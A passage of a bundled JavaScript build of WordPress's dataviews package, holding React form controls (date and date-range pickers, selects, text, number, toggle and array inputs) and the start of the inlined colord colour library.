14528 const isSelected2 = selectedPresetId === preset.id;
14529 return /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14530 import_components33.Button,
14531 {
14532 className: "dataviews-controls__date-preset",
14533 variant: "tertiary",
14534 isPressed: isSelected2,
14535 size: "small",
14536 onClick: () => handlePresetClick(preset),
14537 children: preset.label
14538 },
14539 preset.id
14540 );
14541 }),
14542 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14543 import_components33.Button,
14544 {
14545 className: "dataviews-controls__date-preset",
14546 variant: "tertiary",
14547 isPressed: !selectedPresetId,
14548 size: "small",
14549 disabled: !!selectedPresetId,
14550 accessibleWhenDisabled: false,
14551 children: (0, import_i18n40.__)("Custom")
14552 }
14553 )
14554 ]
14555 }
14556 ),
14557 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14558 import_components33.__experimentalInputControl,
14559 {
14560 __next40pxDefaultSize: true,
14561 ref: validityTargetRef,
14562 type: "date",
14563 label: (0, import_i18n40.__)("Date"),
14564 hideLabelFromVision: true,
14565 value,
14566 onChange: handleManualDateChange,
14567 required: !!field.isValid?.required
14568 }
14569 ),
14570 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14571 DateCalendar2,
14572 {
14573 style: { width: "100%" },
14574 selected: value ? parseDate(value) || void 0 : void 0,
14575 onSelect: onSelectDate,
14576 month: calendarMonth,
14577 onMonthChange: setCalendarMonth,
14578 timeZone: timezoneString || void 0,
14579 weekStartsOn
14580 }
14581 )
14582 ] })
14583 }
14584 )
14585 }
14586 );
14587 }
14588 function CalendarDateRangeControl({
14589 data,
14590 field,
14591 onChange,
14592 hideLabelFromVision,
14593 markWhenOptional,
14594 validity
14595 }) {
14596 const { id, label, getValue, setValue, format: fieldFormat } = field;
14597 let value;
14598 const fieldValue = getValue({ item: data });
14599 if (Array.isArray(fieldValue) && fieldValue.length === 2 && fieldValue.every((date) => typeof date === "string")) {
14600 value = fieldValue;
14601 }
14602 const weekStartsOn = fieldFormat.weekStartsOn ?? (0, import_date4.getSettings)().l10n.startOfWeek;
14603 const onChangeCallback = (0, import_element42.useCallback)(
14604 (newValue) => {
14605 onChange(
14606 setValue({
14607 item: data,
14608 value: newValue
14609 })
14610 );
14611 },
14612 [data, onChange, setValue]
14613 );
14614 const [selectedPresetId, setSelectedPresetId] = (0, import_element42.useState)(
14615 null
14616 );
14617 const selectedRange = (0, import_element42.useMemo)(() => {
14618 if (!value) {
14619 return { from: void 0, to: void 0 };
14620 }
14621 const [from, to] = value;
14622 return {
14623 from: parseDate(from) || void 0,
14624 to: parseDate(to) || void 0
14625 };
14626 }, [value]);
14627 const [calendarMonth, setCalendarMonth] = (0, import_element42.useState)(() => {
14628 return selectedRange.from || /* @__PURE__ */ new Date();
14629 });
14630 const [isTouched, setIsTouched] = (0, import_element42.useState)(false);
14631 const fromInputRef = (0, import_element42.useRef)(null);
14632 const toInputRef = (0, import_element42.useRef)(null);
14633 const updateDateRange = (0, import_element42.useCallback)(
14634 (fromDate, toDate2) => {
14635 if (fromDate && toDate2) {
14636 onChangeCallback([
14637 formatDate(fromDate),
14638 formatDate(toDate2)
14639 ]);
14640 } else if (!fromDate && !toDate2) {
14641 onChangeCallback(void 0);
14642 }
14643 },
14644 [onChangeCallback]
14645 );
14646 const onSelectCalendarRange = (0, import_element42.useCallback)(
14647 (newRange) => {
14648 updateDateRange(newRange?.from, newRange?.to);
14649 setSelectedPresetId(null);
14650 setIsTouched(true);
14651 },
14652 [updateDateRange]
14653 );
14654 const handlePresetClick = (0, import_element42.useCallback)(
14655 (preset) => {
14656 const [startDate, endDate] = preset.getValue();
14657 setCalendarMonth(startDate);
14658 updateDateRange(startDate, endDate);
14659 setSelectedPresetId(preset.id);
14660 setIsTouched(true);
14661 },
14662 [updateDateRange]
14663 );
14664 const handleManualDateChange = (0, import_element42.useCallback)(
14665 (fromOrTo, newValue) => {
14666 const [currentFrom, currentTo] = value || [
14667 void 0,
14668 void 0
14669 ];
14670 const updatedFrom = fromOrTo === "from" ? newValue : currentFrom;
14671 const updatedTo = fromOrTo === "to" ? newValue : currentTo;
14672 updateDateRange(updatedFrom, updatedTo);
14673 if (newValue) {
14674 const parsedDate = parseDate(newValue);
14675 if (parsedDate) {
14676 setCalendarMonth(parsedDate);
14677 }
14678 }
14679 setSelectedPresetId(null);
14680 setIsTouched(true);
14681 },
14682 [value, updateDateRange]
14683 );
14684 const { timezone } = (0, import_date4.getSettings)();
14685 let displayLabel = label;
14686 if (field.isValid?.required && !markWhenOptional) {
14687 displayLabel = `${label} (${(0, import_i18n40.__)("Required")})`;
14688 } else if (!field.isValid?.required && markWhenOptional) {
14689 displayLabel = `${label} (${(0, import_i18n40.__)("Optional")})`;
14690 }
14691 return /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14692 ValidatedDateControl,
14693 {
14694 field,
14695 validity,
14696 inputRefs: [fromInputRef, toInputRef],
14697 isTouched,
14698 setIsTouched,
14699 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14700 import_components33.BaseControl,
14701 {
14702 id,
14703 className: "dataviews-controls__date",
14704 label: displayLabel,
14705 hideLabelFromVision,
14706 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(Stack, { direction: "column", gap: "lg", children: [
14707 /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(
14708 Stack,
14709 {
14710 direction: "row",
14711 gap: "sm",
14712 wrap: "wrap",
14713 justify: "flex-start",
14714 children: [
14715 DATE_RANGE_PRESETS.map((preset) => {
14716 const isSelected2 = selectedPresetId === preset.id;
14717 return /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14718 import_components33.Button,
14719 {
14720 className: "dataviews-controls__date-preset",
14721 variant: "tertiary",
14722 isPressed: isSelected2,
14723 size: "small",
14724 onClick: () => handlePresetClick(preset),
14725 children: preset.label
14726 },
14727 preset.id
14728 );
14729 }),
14730 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14731 import_components33.Button,
14732 {
14733 className: "dataviews-controls__date-preset",
14734 variant: "tertiary",
14735 isPressed: !selectedPresetId,
14736 size: "small",
14737 accessibleWhenDisabled: false,
14738 disabled: !!selectedPresetId,
14739 children: (0, import_i18n40.__)("Custom")
14740 }
14741 )
14742 ]
14743 }
14744 ),
14745 /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(
14746 Stack,
14747 {
14748 direction: "row",
14749 gap: "sm",
14750 justify: "space-between",
14751 className: "dataviews-controls__date-range-inputs",
14752 children: [
14753 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14754 import_components33.__experimentalInputControl,
14755 {
14756 __next40pxDefaultSize: true,
14757 ref: fromInputRef,
14758 type: "date",
14759 label: (0, import_i18n40.__)("From"),
14760 hideLabelFromVision: true,
14761 value: value?.[0],
14762 onChange: (newValue) => handleManualDateChange("from", newValue),
14763 required: !!field.isValid?.required
14764 }
14765 ),
14766 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14767 import_components33.__experimentalInputControl,
14768 {
14769 __next40pxDefaultSize: true,
14770 ref: toInputRef,
14771 type: "date",
14772 label: (0, import_i18n40.__)("To"),
14773 hideLabelFromVision: true,
14774 value: value?.[1],
14775 onChange: (newValue) => handleManualDateChange("to", newValue),
14776 required: !!field.isValid?.required
14777 }
14778 )
14779 ]
14780 }
14781 ),
14782 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14783 DateRangeCalendar,
14784 {
14785 style: { width: "100%" },
14786 selected: selectedRange,
14787 onSelect: onSelectCalendarRange,
14788 month: calendarMonth,
14789 onMonthChange: setCalendarMonth,
14790 timeZone: timezone.string || void 0,
14791 weekStartsOn
14792 }
14793 )
14794 ] })
14795 }
14796 )
14797 }
14798 );
14799 }
14800 function DateControl({
14801 data,
14802 field,
14803 onChange,
14804 hideLabelFromVision,
14805 markWhenOptional,
14806 operator,
14807 validity
14808 }) {
14809 if (operator === OPERATOR_IN_THE_PAST || operator === OPERATOR_OVER) {
14810 return /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14811 RelativeDateControl,
14812 {
14813 className: "dataviews-controls__date",
14814 data,
14815 field,
14816 onChange,
14817 hideLabelFromVision,
14818 operator
14819 }
14820 );
14821 }
14822 if (operator === OPERATOR_BETWEEN) {
14823 return /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14824 CalendarDateRangeControl,
14825 {
14826 data,
14827 field,
14828 onChange,
14829 hideLabelFromVision,
14830 markWhenOptional,
14831 validity
14832 }
14833 );
14834 }
14835 return /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14836 CalendarDateControl,
14837 {
14838 data,
14839 field,
14840 onChange,
14841 hideLabelFromVision,
14842 markWhenOptional,
14843 validity
14844 }
14845 );
14846 }
14847
14848 // packages/dataviews/build-module/components/dataform-controls/select.mjs
14849 var import_components34 = __toESM(require_components(), 1);
14850 var import_element43 = __toESM(require_element(), 1);
14851 var import_jsx_runtime78 = __toESM(require_jsx_runtime(), 1);
14852 var { ValidatedSelectControl } = unlock(import_components34.privateApis);
14853 function Select({
14854 data,
14855 field,
14856 onChange,
14857 hideLabelFromVision,
14858 markWhenOptional,
14859 validity
14860 }) {
14861 const { type, label, description, getValue, setValue, isValid: isValid2 } = field;
14862 const isMultiple = type === "array";
14863 const value = getValue({ item: data }) ?? (isMultiple ? [] : "");
14864 const onChangeControl = (0, import_element43.useCallback)(
14865 (newValue) => onChange(setValue({ item: data, value: newValue })),
14866 [data, onChange, setValue]
14867 );
14868 const { elements, isLoading } = useElements({
14869 elements: field.elements,
14870 getElements: field.getElements
14871 });
14872 if (isLoading) {
14873 return /* @__PURE__ */ (0, import_jsx_runtime78.jsx)(import_components34.Spinner, {});
14874 }
14875 return /* @__PURE__ */ (0, import_jsx_runtime78.jsx)(
14876 ValidatedSelectControl,
14877 {
14878 required: !!field.isValid?.required,
14879 markWhenOptional,
14880 customValidity: getCustomValidity(isValid2, validity),
14881 label,
14882 value,
14883 help: description,
14884 options: elements,
14885 onChange: onChangeControl,
14886 __next40pxDefaultSize: true,
14887 hideLabelFromVision,
14888 multiple: isMultiple
14889 }
14890 );
14891 }
14892
14893 // packages/dataviews/build-module/components/dataform-controls/adaptive-select.mjs
14894 var import_jsx_runtime79 = __toESM(require_jsx_runtime(), 1);
14895 var ELEMENTS_THRESHOLD = 10;
14896 function AdaptiveSelect(props) {
14897 const { field } = props;
14898 const { elements } = useElements({
14899 elements: field.elements,
14900 getElements: field.getElements
14901 });
14902 if (elements.length >= ELEMENTS_THRESHOLD) {
14903 return /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(Combobox3, { ...props });
14904 }
14905 return /* @__PURE__ */ (0, import_jsx_runtime79.jsx)(Select, { ...props });
14906 }
14907
14908 // packages/dataviews/build-module/components/dataform-controls/email.mjs
14909 var import_components36 = __toESM(require_components(), 1);
14910
14911 // packages/dataviews/build-module/components/dataform-controls/utils/validated-input.mjs
14912 var import_components35 = __toESM(require_components(), 1);
14913 var import_element44 = __toESM(require_element(), 1);
14914 var import_jsx_runtime80 = __toESM(require_jsx_runtime(), 1);
14915 var { ValidatedInputControl: ValidatedInputControl2 } = unlock(import_components35.privateApis);
14916 function ValidatedText({
14917 data,
14918 field,
14919 onChange,
14920 hideLabelFromVision,
14921 markWhenOptional,
14922 type,
14923 prefix,
14924 suffix,
14925 validity
14926 }) {
14927 const { label, placeholder, description, getValue, setValue, isValid: isValid2 } = field;
14928 const value = getValue({ item: data });
14929 const onChangeControl = (0, import_element44.useCallback)(
14930 (newValue) => onChange(
14931 setValue({
14932 item: data,
14933 value: newValue
14934 })
14935 ),
14936 [data, setValue, onChange]
14937 );
14938 return /* @__PURE__ */ (0, import_jsx_runtime80.jsx)(
14939 ValidatedInputControl2,
14940 {
14941 required: !!isValid2.required,
14942 markWhenOptional,
14943 customValidity: getCustomValidity(isValid2, validity),
14944 label,
14945 placeholder,
14946 value: value ?? "",
14947 help: description,
14948 onChange: onChangeControl,
14949 hideLabelFromVision,
14950 type,
14951 prefix,
14952 suffix,
14953 pattern: isValid2.pattern ? isValid2.pattern.constraint : void 0,
14954 minLength: isValid2.minLength ? isValid2.minLength.constraint : void 0,
14955 maxLength: isValid2.maxLength ? isValid2.maxLength.constraint : void 0,
14956 __next40pxDefaultSize: true
14957 }
14958 );
14959 }
14960
14961 // packages/dataviews/build-module/components/dataform-controls/email.mjs
14962 var import_jsx_runtime81 = __toESM(require_jsx_runtime(), 1);
14963 function Email({
14964 data,
14965 field,
14966 onChange,
14967 hideLabelFromVision,
14968 markWhenOptional,
14969 validity
14970 }) {
14971 return /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(
14972 ValidatedText,
14973 {
14974 ...{
14975 data,
14976 field,
14977 onChange,
14978 hideLabelFromVision,
14979 markWhenOptional,
14980 validity,
14981 type: "email",
14982 prefix: /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(import_components36.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(import_components36.Icon, { icon: envelope_default }) })
14983 }
14984 }
14985 );
14986 }
14987
14988 // packages/dataviews/build-module/components/dataform-controls/telephone.mjs
14989 var import_components37 = __toESM(require_components(), 1);
14990 var import_jsx_runtime82 = __toESM(require_jsx_runtime(), 1);
14991 function Telephone({
14992 data,
14993 field,
14994 onChange,
14995 hideLabelFromVision,
14996 markWhenOptional,
14997 validity
14998 }) {
14999 return /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(
15000 ValidatedText,
15001 {
15002 ...{
15003 data,
15004 field,
15005 onChange,
15006 hideLabelFromVision,
15007 markWhenOptional,
15008 validity,
15009 type: "tel",
15010 prefix: /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(import_components37.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(import_components37.Icon, { icon: mobile_default }) })
15011 }
15012 }
15013 );
15014 }
15015
15016 // packages/dataviews/build-module/components/dataform-controls/url.mjs
15017 var import_components38 = __toESM(require_components(), 1);
15018 var import_jsx_runtime83 = __toESM(require_jsx_runtime(), 1);
15019 function Url({
15020 data,
15021 field,
15022 onChange,
15023 hideLabelFromVision,
15024 markWhenOptional,
15025 validity
15026 }) {
15027 return /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(
15028 ValidatedText,
15029 {
15030 ...{
15031 data,
15032 field,
15033 onChange,
15034 hideLabelFromVision,
15035 markWhenOptional,
15036 validity,
15037 type: "url",
15038 prefix: /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_components38.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_components38.Icon, { icon: link_default }) })
15039 }
15040 }
15041 );
15042 }
15043
15044 // packages/dataviews/build-module/components/dataform-controls/utils/validated-number.mjs
15045 var import_components39 = __toESM(require_components(), 1);
15046 var import_element45 = __toESM(require_element(), 1);
15047 var import_i18n41 = __toESM(require_i18n(), 1);
15048 var import_jsx_runtime84 = __toESM(require_jsx_runtime(), 1);
15049 var { ValidatedNumberControl } = unlock(import_components39.privateApis);
15050 function toNumberOrEmpty(value) {
15051 if (value === "" || value === void 0) {
15052 return "";
15053 }
15054 const number = Number(value);
15055 return Number.isFinite(number) ? number : "";
15056 }
15057 function BetweenControls({
15058 value,
15059 onChange,
15060 hideLabelFromVision,
15061 step
15062 }) {
15063 const [min = "", max = ""] = value;
15064 const onChangeMin = (0, import_element45.useCallback)(
15065 (newValue) => onChange([toNumberOrEmpty(newValue), max]),
15066 [onChange, max]
15067 );
15068 const onChangeMax = (0, import_element45.useCallback)(
15069 (newValue) => onChange([min, toNumberOrEmpty(newValue)]),
15070 [onChange, min]
15071 );
15072 return /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(
15073 import_components39.BaseControl,
15074 {
15075 help: (0, import_i18n41.__)("The max. value must be greater than the min. value."),
15076 children: /* @__PURE__ */ (0, import_jsx_runtime84.jsxs)(import_components39.Flex, { direction: "row", gap: 4, children: [
15077 /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(
15078 import_components39.__experimentalNumberControl,
15079 {
15080 label: (0, import_i18n41.__)("Min."),
15081 value: min,
15082 max: max ? Number(max) - step : void 0,
15083 onChange: onChangeMin,
15084 __next40pxDefaultSize: true,
15085 hideLabelFromVision,
15086 step
15087 }
15088 ),
15089 /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(
15090 import_components39.__experimentalNumberControl,
15091 {
15092 label: (0, import_i18n41.__)("Max."),
15093 value: max,
15094 min: min ? Number(min) + step : void 0,
15095 onChange: onChangeMax,
15096 __next40pxDefaultSize: true,
15097 hideLabelFromVision,
15098 step
15099 }
15100 )
15101 ] })
15102 }
15103 );
15104 }
15105 function ValidatedNumber({
15106 data,
15107 field,
15108 onChange,
15109 hideLabelFromVision,
15110 markWhenOptional,
15111 operator,
15112 validity
15113 }) {
15114 const decimals = field.format?.decimals ?? 0;
15115 const step = Math.pow(10, Math.abs(decimals) * -1);
15116 const { label, description, getValue, setValue, isValid: isValid2 } = field;
15117 const value = getValue({ item: data }) ?? "";
15118 const onChangeControl = (0, import_element45.useCallback)(
15119 (newValue) => {
15120 onChange(
15121 setValue({
15122 item: data,
15123 // Do not convert an empty string or undefined to a number,
15124 // otherwise there's a mismatch between the UI control (empty)
15125 // and the data relied by onChange (0).
15126 value: ["", void 0].includes(newValue) ? void 0 : Number(newValue)
15127 })
15128 );
15129 },
15130 [data, onChange, setValue]
15131 );
15132 const onChangeBetweenControls = (0, import_element45.useCallback)(
15133 (newValue) => {
15134 onChange(
15135 setValue({
15136 item: data,
15137 value: newValue
15138 })
15139 );
15140 },
15141 [data, onChange, setValue]
15142 );
15143 if (operator === OPERATOR_BETWEEN) {
15144 let valueBetween = ["", ""];
15145 if (Array.isArray(value) && value.length === 2 && value.every(
15146 (element) => typeof element === "number" || element === ""
15147 )) {
15148 valueBetween = value;
15149 }
15150 return /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(
15151 BetweenControls,
15152 {
15153 value: valueBetween,
15154 onChange: onChangeBetweenControls,
15155 hideLabelFromVision,
15156 step
15157 }
15158 );
15159 }
15160 return /* @__PURE__ */ (0, import_jsx_runtime84.jsx)(
15161 ValidatedNumberControl,
15162 {
15163 required: !!isValid2.required,
15164 markWhenOptional,
15165 customValidity: getCustomValidity(isValid2, validity),
15166 label,
15167 help: description,
15168 value,
15169 onChange: onChangeControl,
15170 __next40pxDefaultSize: true,
15171 hideLabelFromVision,
15172 step,
15173 min: isValid2.min ? isValid2.min.constraint : void 0,
15174 max: isValid2.max ? isValid2.max.constraint : void 0
15175 }
15176 );
15177 }
15178
15179 // packages/dataviews/build-module/components/dataform-controls/integer.mjs
15180 var import_jsx_runtime85 = __toESM(require_jsx_runtime(), 1);
15181 function Integer(props) {
15182 return /* @__PURE__ */ (0, import_jsx_runtime85.jsx)(ValidatedNumber, { ...props });
15183 }
15184
15185 // packages/dataviews/build-module/components/dataform-controls/number.mjs
15186 var import_jsx_runtime86 = __toESM(require_jsx_runtime(), 1);
15187 function Number2(props) {
15188 return /* @__PURE__ */ (0, import_jsx_runtime86.jsx)(ValidatedNumber, { ...props });
15189 }
15190
15191 // packages/dataviews/build-module/components/dataform-controls/radio.mjs
15192 var import_components40 = __toESM(require_components(), 1);
15193 var import_element46 = __toESM(require_element(), 1);
15194 var import_jsx_runtime87 = __toESM(require_jsx_runtime(), 1);
15195 var { ValidatedRadioControl } = unlock(import_components40.privateApis);
15196 function Radio({
15197 data,
15198 field,
15199 onChange,
15200 hideLabelFromVision,
15201 markWhenOptional,
15202 validity
15203 }) {
15204 const { label, description, getValue, setValue, isValid: isValid2 } = field;
15205 const { elements, isLoading } = useElements({
15206 elements: field.elements,
15207 getElements: field.getElements
15208 });
15209 const value = getValue({ item: data });
15210 const onChangeControl = (0, import_element46.useCallback)(
15211 (newValue) => onChange(setValue({ item: data, value: newValue })),
15212 [data, onChange, setValue]
15213 );
15214 if (isLoading) {
15215 return /* @__PURE__ */ (0, import_jsx_runtime87.jsx)(import_components40.Spinner, {});
15216 }
15217 return /* @__PURE__ */ (0, import_jsx_runtime87.jsx)(
15218 ValidatedRadioControl,
15219 {
15220 required: !!field.isValid?.required,
15221 markWhenOptional,
15222 customValidity: getCustomValidity(isValid2, validity),
15223 label,
15224 help: description,
15225 onChange: onChangeControl,
15226 options: elements,
15227 selected: value,
15228 hideLabelFromVision
15229 }
15230 );
15231 }
15232
15233 // packages/dataviews/build-module/components/dataform-controls/text.mjs
15234 var import_element47 = __toESM(require_element(), 1);
15235 var import_jsx_runtime88 = __toESM(require_jsx_runtime(), 1);
15236 function Text({
15237 data,
15238 field,
15239 onChange,
15240 hideLabelFromVision,
15241 markWhenOptional,
15242 config,
15243 validity
15244 }) {
15245 const { prefix, suffix } = config || {};
15246 return /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
15247 ValidatedText,
15248 {
15249 ...{
15250 data,
15251 field,
15252 onChange,
15253 hideLabelFromVision,
15254 markWhenOptional,
15255 validity,
15256 prefix: prefix ? (0, import_element47.createElement)(prefix) : void 0,
15257 suffix: suffix ? (0, import_element47.createElement)(suffix) : void 0
15258 }
15259 }
15260 );
15261 }
15262
15263 // packages/dataviews/build-module/components/dataform-controls/toggle.mjs
15264 var import_components41 = __toESM(require_components(), 1);
15265 var import_element48 = __toESM(require_element(), 1);
15266 var import_jsx_runtime89 = __toESM(require_jsx_runtime(), 1);
15267 var { ValidatedToggleControl } = unlock(import_components41.privateApis);
15268 function Toggle({
15269 field,
15270 onChange,
15271 data,
15272 hideLabelFromVision,
15273 markWhenOptional,
15274 validity
15275 }) {
15276 const { label, description, getValue, setValue, isValid: isValid2 } = field;
15277 const onChangeControl = (0, import_element48.useCallback)(() => {
15278 onChange(
15279 setValue({ item: data, value: !getValue({ item: data }) })
15280 );
15281 }, [onChange, setValue, data, getValue]);
15282 return /* @__PURE__ */ (0, import_jsx_runtime89.jsx)(
15283 ValidatedToggleControl,
15284 {
15285 required: !!isValid2.required,
15286 markWhenOptional,
15287 customValidity: getCustomValidity(isValid2, validity),
15288 hidden: hideLabelFromVision,
15289 label,
15290 help: description,
15291 checked: getValue({ item: data }),
15292 onChange: onChangeControl
15293 }
15294 );
15295 }
15296
15297 // packages/dataviews/build-module/components/dataform-controls/textarea.mjs
15298 var import_components42 = __toESM(require_components(), 1);
15299 var import_element49 = __toESM(require_element(), 1);
15300 var import_jsx_runtime90 = __toESM(require_jsx_runtime(), 1);
15301 var { ValidatedTextareaControl } = unlock(import_components42.privateApis);
15302 function Textarea({
15303 data,
15304 field,
15305 onChange,
15306 hideLabelFromVision,
15307 markWhenOptional,
15308 config,
15309 validity
15310 }) {
15311 const { rows = 4 } = config || {};
15312 const { label, placeholder, description, setValue, isValid: isValid2 } = field;
15313 const value = field.getValue({ item: data });
15314 const onChangeControl = (0, import_element49.useCallback)(
15315 (newValue) => onChange(setValue({ item: data, value: newValue })),
15316 [data, onChange, setValue]
15317 );
15318 return /* @__PURE__ */ (0, import_jsx_runtime90.jsx)(
15319 ValidatedTextareaControl,
15320 {
15321 required: !!isValid2.required,
15322 markWhenOptional,
15323 customValidity: getCustomValidity(isValid2, validity),
15324 label,
15325 placeholder,
15326 value: value ?? "",
15327 help: description,
15328 onChange: onChangeControl,
15329 rows,
15330 minLength: isValid2.minLength ? isValid2.minLength.constraint : void 0,
15331 maxLength: isValid2.maxLength ? isValid2.maxLength.constraint : void 0,
15332 __next40pxDefaultSize: true,
15333 hideLabelFromVision
15334 }
15335 );
15336 }
15337
15338 // packages/dataviews/build-module/components/dataform-controls/toggle-group.mjs
15339 var import_components43 = __toESM(require_components(), 1);
15340 var import_element50 = __toESM(require_element(), 1);
15341 var import_jsx_runtime91 = __toESM(require_jsx_runtime(), 1);
15342 var { ValidatedToggleGroupControl } = unlock(import_components43.privateApis);
15343 function ToggleGroup({
15344 data,
15345 field,
15346 onChange,
15347 hideLabelFromVision,
15348 markWhenOptional,
15349 validity
15350 }) {
15351 const { getValue, setValue, isValid: isValid2 } = field;
15352 const value = getValue({ item: data });
15353 const onChangeControl = (0, import_element50.useCallback)(
15354 (newValue) => onChange(setValue({ item: data, value: newValue })),
15355 [data, onChange, setValue]
15356 );
15357 const { elements, isLoading } = useElements({
15358 elements: field.elements,
15359 getElements: field.getElements
15360 });
15361 if (isLoading) {
15362 return /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(import_components43.Spinner, {});
15363 }
15364 if (elements.length === 0) {
15365 return null;
15366 }
15367 const selectedOption = elements.find((el) => el.value === value);
15368 return /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(
15369 ValidatedToggleGroupControl,
15370 {
15371 required: !!field.isValid?.required,
15372 markWhenOptional,
15373 customValidity: getCustomValidity(isValid2, validity),
15374 __next40pxDefaultSize: true,
15375 isBlock: true,
15376 label: field.label,
15377 help: selectedOption?.description || field.description,
15378 onChange: onChangeControl,
15379 value,
15380 hideLabelFromVision,
15381 children: elements.map((el) => /* @__PURE__ */ (0, import_jsx_runtime91.jsx)(
15382 import_components43.__experimentalToggleGroupControlOption,
15383 {
15384 label: el.label,
15385 value: el.value
15386 },
15387 el.value
15388 ))
15389 }
15390 );
15391 }
15392
15393 // packages/dataviews/build-module/components/dataform-controls/array.mjs
15394 var import_components44 = __toESM(require_components(), 1);
15395 var import_element51 = __toESM(require_element(), 1);
15396 var import_jsx_runtime92 = __toESM(require_jsx_runtime(), 1);
15397 var { ValidatedFormTokenField } = unlock(import_components44.privateApis);
15398 function ArrayControl({
15399 data,
15400 field,
15401 onChange,
15402 hideLabelFromVision,
15403 markWhenOptional,
15404 validity
15405 }) {
15406 const { label, placeholder, getValue, setValue, isValid: isValid2 } = field;
15407 const value = getValue({ item: data });
15408 const { elements, isLoading } = useElements({
15409 elements: field.elements,
15410 getElements: field.getElements
15411 });
15412 const arrayValueAsElements = (0, import_element51.useMemo)(
15413 () => Array.isArray(value) ? value.map((token) => {
15414 const element = elements?.find(
15415 (suggestion) => suggestion.value === token
15416 );
15417 return element || { value: token, label: token };
15418 }) : [],
15419 [value, elements]
15420 );
15421 const onChangeControl = (0, import_element51.useCallback)(
15422 (tokens) => {
15423 const valueTokens = tokens.map((token) => {
15424 if (typeof token === "object" && "value" in token) {
15425 return token.value;
15426 }
15427 return token;
15428 });
15429 onChange(setValue({ item: data, value: valueTokens }));
15430 },
15431 [onChange, setValue, data]
15432 );
15433 if (isLoading) {
15434 return /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(import_components44.Spinner, {});
15435 }
15436 return /* @__PURE__ */ (0, import_jsx_runtime92.jsx)(
15437 ValidatedFormTokenField,
15438 {
15439 required: !!isValid2?.required,
15440 markWhenOptional,
15441 customValidity: getCustomValidity(isValid2, validity),
15442 label: hideLabelFromVision ? void 0 : label,
15443 value: arrayValueAsElements,
15444 onChange: onChangeControl,
15445 placeholder,
15446 suggestions: elements?.map((element) => element.value),
15447 __experimentalValidateInput: (token) => {
15448 if (field.isValid?.elements && elements) {
15449 return elements.some(
15450 (element) => element.value === token || element.label === token
15451 );
15452 }
15453 return true;
15454 },
15455 __experimentalExpandOnFocus: elements && elements.length > 0,
15456 __experimentalShowHowTo: !field.isValid?.elements,
15457 displayTransform: (token) => {
15458 if (typeof token === "object" && "label" in token) {
15459 return token.label;
15460 }
15461 if (typeof token === "string" && elements) {
15462 const element = elements.find(
15463 (el) => el.value === token
15464 );
15465 return element?.label || token;
15466 }
15467 return token;
15468 },
15469 __experimentalRenderItem: ({ item }) => {
15470 if (typeof item === "string" && elements) {
15471 const element = elements.find(
15472 (el) => el.value === item
15473 );
15474 return /* @__PURE__ */ (0, import_jsx_runtime92.jsx)("span", { children: element?.label || item });
15475 }
15476 return /* @__PURE__ */ (0, import_jsx_runtime92.jsx)("span", { children: item });
15477 }
15478 }
15479 );
15480 }
15481
15482 // node_modules/colord/index.mjs
15483 var r2 = { grad: 0.9, turn: 360, rad: 360 / (2 * Math.PI) };
15484 var t = function(r3) {
15485 return "string" == typeof r3 ? r3.length > 0 : "number" == typeof r3;
15486 };
15487 var n = function(r3, t2, n2) {
15488 return void 0 === t2 && (t2 = 0), void 0 === n2 && (n2 = Math.pow(10, t2)), Math.round(n2 * r3) / n2 + 0;
15489 };
15490 var e = function(r3, t2, n2) {
15491 return void 0 === t2 && (t2 = 0), void 0 === n2 && (n2 = 1), r3 > n2 ? n2 : r3 > t2 ? r3 : t2;
15492 };
15493 var u = function(r3) {
15494 return (r3 = isFinite(r3) ? r3 % 360 : 0) > 0 ? r3 : r3 + 360;
15495 };
15496 var a = function(r3) {
15497 return { r: e(r3.r, 0, 255), g: e(r3.g, 0, 255), b: e(r3.b, 0, 255), a: e(r3.a) };
15498 };
15499 var o = function(r3) {
15500 return { r: n(r3.r), g: n(r3.g), b: n(r3.b), a: n(r3.a, 3) };
15501 };
15502 var i = /^#([0-9a-f]{3,8})$/i;
15503 var s = function(r3) {
15504 var t2 = r3.toString(16);
15505 return t2.length < 2 ? "0" + t2 : t2;
15506 };
15507 var h = function(r3) {
15508 var t2 = r3.r, n2 = r3.g, e2 = r3.b, u2 = r3.a, a2 = Math.max(t2, n2, e2), o2 = a2 - Math.min(t2, n2, e2), i2 = o2 ? a2 === t2 ? (n2 - e2) / o2 : a2 === n2 ? 2 + (e2 - t2) / o2 : 4 + (t2 - n2) / o2 : 0;
15509 return { h: 60 * (i2 < 0 ? i2 + 6 : i2), s: a2 ? o2 / a2 * 100 : 0, v: a2 / 255 * 100, a: u2 };
15510 };
15511 var b = function(r3) {
